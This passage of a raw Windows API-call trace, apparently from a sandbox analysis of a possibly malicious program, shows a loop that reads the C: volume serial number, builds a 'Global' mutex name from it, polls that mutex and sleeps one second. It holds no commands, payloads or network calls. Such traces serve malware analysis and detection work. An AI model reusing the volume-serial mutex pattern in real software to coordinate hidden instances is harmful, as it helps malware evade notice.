GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0201.971] GetProcessHeap () returned 0x6a0000 [0201.971] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba438 | out: hHeap=0x6a0000) returned 1 [0201.971] GetProcessHeap () returned 0x6a0000 [0201.971] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b45f0 [0201.972] GetProcessHeap () returned 0x6a0000 [0201.972] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4638 [0201.972] GetProcessHeap () returned 0x6a0000 [0201.972] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4638, Size=0x72) returned 0x6b00b0 [0201.972] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x11c [0201.972] WaitForSingleObject (hHandle=0x11c, dwMilliseconds=0x0) returned 0x102 [0201.972] CloseHandle (hObject=0x11c) returned 1 [0201.972] GetProcessHeap () returned 0x6a0000 [0201.972] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b45f0 | out: hHeap=0x6a0000) returned 1 [0201.972] GetProcessHeap () returned 0x6a0000 [0201.972] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0201.972] Sleep (dwMilliseconds=0x3e8) [0203.107] GetProcessHeap () returned 0x6a0000 [0203.107] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba438 [0203.107] GetProcessHeap () returned 0x6a0000 [0203.107] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba1e0 [0203.107] GetProcessHeap () returned 0x6a0000 [0203.107] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba4d8 [0203.107] GetProcessHeap () returned 0x6a0000 [0203.107] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bb658 [0203.107] GetProcessHeap () returned 0x6a0000 [0203.108] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb658 | out: hHeap=0x6a0000) returned 1 [0203.108] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba1e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0203.108] GetProcessHeap () returned 0x6a0000 [0203.108] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4d8 | out: hHeap=0x6a0000) returned 1 [0203.108] GetProcessHeap () returned 0x6a0000 [0203.108] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba438 | out: hHeap=0x6a0000) returned 1 [0203.108] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0203.108] GetProcessHeap () returned 0x6a0000 [0203.108] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba1e0 | out: hHeap=0x6a0000) returned 1 [0203.108] GetProcessHeap () returned 0x6a0000 [0203.108] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b45f0 [0203.109] GetProcessHeap () returned 0x6a0000 [0203.109] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4638 [0203.109] GetProcessHeap () returned 0x6a0000 [0203.109] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4638, Size=0x72) returned 0x6b00b0 [0203.109] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x11c [0203.109] WaitForSingleObject (hHandle=0x11c, dwMilliseconds=0x0) returned 0x102 [0203.109] CloseHandle (hObject=0x11c) returned 1 [0203.109] GetProcessHeap () returned 0x6a0000 [0203.109] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b45f0 | out: hHeap=0x6a0000) returned 1 [0203.109] GetProcessHeap () returned 0x6a0000 [0203.109] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0203.109] Sleep (dwMilliseconds=0x3e8) [0204.273] GetProcessHeap () returned 0x6a0000 [0204.273] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba1e0 [0204.274] GetProcessHeap () returned 0x6a0000 [0204.274] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba438 [0204.274] GetProcessHeap () returned 0x6a0000 [0204.274] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba4d8 [0204.274] GetProcessHeap () returned 0x6a0000 [0204.274] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bb658 [0204.274] GetProcessHeap () returned 0x6a0000 [0204.274] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb658 | out: hHeap=0x6a0000) returned 1 [0204.274] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba438, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0204.274] GetProcessHeap () returned 0x6a0000 [0204.274] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4d8 | out: hHeap=0x6a0000) returned 1 [0204.274] GetProcessHeap () returned 0x6a0000 [0204.274] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba1e0 | out: hHeap=0x6a0000) returned 1 [0204.274] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0204.275] GetProcessHeap () returned 0x6a0000 [0204.275] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba438 | out: hHeap=0x6a0000) returned 1 [0204.275] GetProcessHeap () returned 0x6a0000 [0204.275] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b45f0 [0204.275] GetProcessHeap () returned 0x6a0000 [0204.275] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4638 [0204.275] GetProcessHeap () returned 0x6a0000 [0204.275] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4638, Size=0x72) returned 0x6b00b0 [0204.275] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x11c [0204.275] WaitForSingleObject (hHandle=0x11c, dwMilliseconds=0x0) returned 0x102 [0204.275] CloseHandle (hObject=0x11c) returned 1 [0204.275] GetProcessHeap () returned 0x6a0000 [0204.275] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b45f0 | out: hHeap=0x6a0000) returned 1 [0204.275] GetProcessHeap () returned 0x6a0000 [0204.276] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0204.276] Sleep (dwMilliseconds=0x3e8) [0205.465] GetProcessHeap () returned 0x6a0000 [0205.465] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba438 [0205.465] GetProcessHeap () returned 0x6a0000 [0205.465] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba1e0 [0205.465] GetProcessHeap () returned 0x6a0000 [0205.465] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba4d8 [0205.465] GetProcessHeap () returned 0x6a0000 [0205.465] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bb658 [0205.465] GetProcessHeap () returned 0x6a0000 [0205.465] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb658 | out: hHeap=0x6a0000) returned 1 [0205.466] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba1e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0205.466] GetProcessHeap () returned 0x6a0000 [0205.466] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4d8 | out: hHeap=0x6a0000) returned 1 [0205.466] GetProcessHeap () returned 0x6a0000 [0205.466] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba438 | out: hHeap=0x6a0000) returned 1 [0205.466] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0205.466] GetProcessHeap () returned 0x6a0000 [0205.466] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba1e0 | out: hHeap=0x6a0000) returned 1 [0205.466] GetProcessHeap () returned 0x6a0000 [0205.466] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b45f0 [0205.466] GetProcessHeap () returned 0x6a0000 [0205.466] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4638 [0205.466] GetProcessHeap () returned 0x6a0000 [0205.466] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4638, Size=0x72) returned 0x6b00b0 [0205.467] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x11c [0205.467] WaitForSingleObject (hHandle=0x11c, dwMilliseconds=0x0) returned 0x102 [0205.467] CloseHandle (hObject=0x11c) returned 1 [0205.467] GetProcessHeap () returned 0x6a0000 [0205.467] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b45f0 | out: hHeap=0x6a0000) returned 1 [0205.467] GetProcessHeap () returned 0x6a0000 [0205.467] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0205.467] Sleep (dwMilliseconds=0x3e8) [0206.616] GetProcessHeap () returned 0x6a0000 [0206.616] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba1e0 [0206.616] GetProcessHeap () returned 0x6a0000 [0206.616] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba438 [0206.616] GetProcessHeap () returned 0x6a0000 [0206.616] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba4d8 [0206.616] GetProcessHeap () returned 0x6a0000 [0206.616] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bb658 [0206.616] GetProcessHeap () returned 0x6a0000 [0206.616] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb658 | out: hHeap=0x6a0000) returned 1 [0206.616] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba438, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0206.616] GetProcessHeap () returned 0x6a0000 [0206.616] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4d8 | out: hHeap=0x6a0000) returned 1 [0206.616] GetProcessHeap () returned 0x6a0000 [0206.617] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba1e0 | out: hHeap=0x6a0000) returned 1 [0206.617] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0206.617] GetProcessHeap () returned 0x6a0000 [0206.617] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba438 | out: hHeap=0x6a0000) returned 1 [0206.617] GetProcessHeap () returned 0x6a0000 [0206.617] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b45f0 [0206.617] GetProcessHeap () returned 0x6a0000 [0206.618] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4638 [0206.618] GetProcessHeap () returned 0x6a0000 [0206.618] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4638, Size=0x72) returned 0x6b00b0 [0206.618] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x11c [0206.618] WaitForSingleObject (hHandle=0x11c, dwMilliseconds=0x0) returned 0x102 [0206.618] CloseHandle (hObject=0x11c) returned 1 [0206.618] GetProcessHeap () returned 0x6a0000 [0206.618] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b45f0 | out: hHeap=0x6a0000) returned 1 [0206.618] GetProcessHeap () returned 0x6a0000 [0206.618] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0206.618] Sleep (dwMilliseconds=0x3e8) [0207.791] GetProcessHeap () returned 0x6a0000 [0207.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba438 [0207.791] GetProcessHeap () returned 0x6a0000 [0207.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba1e0 [0207.791] GetProcessHeap () returned 0x6a0000 [0207.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba4d8 [0207.791] GetProcessHeap () returned 0x6a0000 [0207.791] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bb658 [0207.791] GetProcessHeap () returned 0x6a0000 [0207.791] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb658 | out: hHeap=0x6a0000) returned 1 [0207.791] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba1e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0207.791] GetProcessHeap () returned 0x6a0000 [0207.791] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4d8 | out: hHeap=0x6a0000) returned 1 [0207.791] GetProcessHeap () returned 0x6a0000 [0207.791] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba438 | out: hHeap=0x6a0000) returned 1 [0207.791] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0207.791] GetProcessHeap () returned 0x6a0000 [0207.791] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba1e0 | out: hHeap=0x6a0000) returned 1 [0207.792] GetProcessHeap () returned 0x6a0000 [0207.792] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b45f0 [0207.792] GetProcessHeap () returned 0x6a0000 [0207.792] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4638 [0207.792] GetProcessHeap () returned 0x6a0000 [0207.792] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4638, Size=0x72) returned 0x6b00b0 [0207.792] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x11c [0207.792] WaitForSingleObject (hHandle=0x11c, dwMilliseconds=0x0) returned 0x102 [0207.792] CloseHandle (hObject=0x11c) returned 1 [0207.792] GetProcessHeap () returned 0x6a0000 [0207.792] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b45f0 | out: hHeap=0x6a0000) returned 1 [0207.792] GetProcessHeap () returned 0x6a0000 [0207.792] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0207.792] Sleep (dwMilliseconds=0x3e8) [0209.063] GetProcessHeap () returned 0x6a0000 [0209.066] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6ba1e0 [0209.066] GetProcessHeap () returned 0x6a0000 [0209.066] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6ba438 [0209.066] GetProcessHeap () returned 0x6a0000 [0209.066] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6ba4d8 [0209.066] GetProcessHeap () returned 0x6a0000 [0209.066] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bb658 [0209.066] GetProcessHeap () returned 0x6a0000 [0209.066] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb658 | out: hHeap=0x6a0000) returned 1 [0209.066] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6ba438, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0209.066] GetProcessHeap () returned 0x6a0000 [0209.066] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba4d8 | out: hHeap=0x6a0000) returned 1 [0209.066] GetProcessHeap () returned 0x6a0000 [0209.066] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba1e0 | out: hHeap=0x6a0000) returned 1 [0209.066] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0209.067] GetProcessHeap () returned 0x6a0000 [0209.067] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba438 | out: hHeap=0x6a0000) returned 1 [0209.067] GetProcessHeap () returned 0x6a0000 [0209.067] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b45f0 [0209.067] GetProcessHeap () returned 0x6a0000 [0209.067] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4638 [0209.067] GetProcessHeap () returned 0x6a0000 [0209.067] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4638, Size=0x72) returned 0x6b00b0 [0209.067] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x11c [0209.068] WaitForSingleObject (hHandle=0x11c, dwMilliseconds=0x0) returned 0x102 [0209.068] CloseHandle (hObject=0x11c) returned 1 [0209.068] GetProcessHeap () returned 0x6a0000 [0209.068] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b45f0 | out: hHeap=0x6a0000) returned 1 [0209.068] GetProcessHeap () returned 0x6a0000 [0209.068] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b00b0 | out: hHeap=0x6a0000) returned 1 [0209.068] Sleep (dwMilliseconds=0x3e8) [0210.187] GetProcessHeap () returned 0x6a0000 [0210.187] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0210.187] GetProcessHeap () returned 0x6a0000 [0210.187] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6daee0 [0210.187] GetProcessHeap () returned 0x6a0000 [0210.187] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db200 [0210.187] GetProcessHeap () returned 0x6a0000 [0210.187] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bd1d8 [0210.187] GetProcessHeap () returned 0x6a0000 [0210.187] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bd1d8 | out: hHeap=0x6a0000) returned 1 [0210.188] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6daee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0210.188] GetProcessHeap () returned 0x6a0000 [0210.188] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db200 | out: hHeap=0x6a0000) returned 1 [0210.188] GetProcessHeap () returned 0x6a0000 [0210.188] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0210.188] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0210.188] GetProcessHeap () returned 0x6a0000 [0210.189] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0210.189] GetProcessHeap () returned 0x6a0000 [0210.189] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0210.189] GetProcessHeap () returned 0x6a0000 [0210.189] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0210.189] GetProcessHeap () returned 0x6a0000 [0210.189] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0210.189] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x19c [0210.189] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0x0) returned 0x102 [0210.189] CloseHandle (hObject=0x19c) returned 1 [0210.189] GetProcessHeap () returned 0x6a0000 [0210.189] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0210.189] GetProcessHeap () returned 0x6a0000 [0210.190] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0210.190] Sleep (dwMilliseconds=0x3e8) [0211.202] GetProcessHeap () returned 0x6a0000 [0211.202] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6daee0 [0211.202] GetProcessHeap () returned 0x6a0000 [0211.202] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6db1d8 [0211.202] GetProcessHeap () returned 0x6a0000 [0211.202] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db200 [0211.202] GetProcessHeap () returned 0x6a0000 [0211.202] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bd1d8 [0211.202] GetProcessHeap () returned 0x6a0000 [0211.202] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bd1d8 | out: hHeap=0x6a0000) returned 1 [0211.202] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6db1d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0211.202] GetProcessHeap () returned 0x6a0000 [0211.202] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db200 | out: hHeap=0x6a0000) returned 1 [0211.202] GetProcessHeap () returned 0x6a0000 [0211.202] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6daee0 | out: hHeap=0x6a0000) returned 1 [0211.202] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0211.203] GetProcessHeap () returned 0x6a0000 [0211.203] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0211.203] GetProcessHeap () returned 0x6a0000 [0211.203] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4830 [0211.203] GetProcessHeap () returned 0x6a0000 [0211.203] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b43f8 [0211.203] GetProcessHeap () returned 0x6a0000 [0211.203] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43f8, Size=0x72) returned 0x6b01b0 [0211.203] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x19c [0211.203] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0x0) returned 0x102 [0211.203] CloseHandle (hObject=0x19c) returned 1 [0211.203] GetProcessHeap () returned 0x6a0000 [0211.203] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b4830 | out: hHeap=0x6a0000) returned 1 [0211.203] GetProcessHeap () returned 0x6a0000 [0211.203] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b01b0 | out: hHeap=0x6a0000) returned 1 [0211.203] Sleep (dwMilliseconds=0x3e8) [0212.216] GetProcessHeap () returned 0x6a0000 [0212.216] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6db1d8 [0212.216] GetProcessHeap () returned 0x6a0000 [0212.217] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6daee0 [0212.217] GetProcessHeap () returned 0x6a0000 [0212.217] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6db200 [0212.217] GetProcessHeap () returned 0x6a0000 [0212.217] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bd1d8 [0212.217] GetProcessHeap () returned 0x6a0000 [0212.217] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bd1d8 | out: hHeap=0x6a0000) returned 1 [0212.217] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6daee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0212.217] GetProcessHeap () returned 0x6a0000 [0212.217] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db200 | out: hHeap=0x6a0000) returned 1 [0212.217] GetProcessHeap () returned 0x6a0000 [0212.217] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6db1d8 | out: hHeap=0x6a0000) returned 1 [0212.217] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcffcd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcffcd4*=0x9c354b42, lpMaximumComponentLength=0x0, 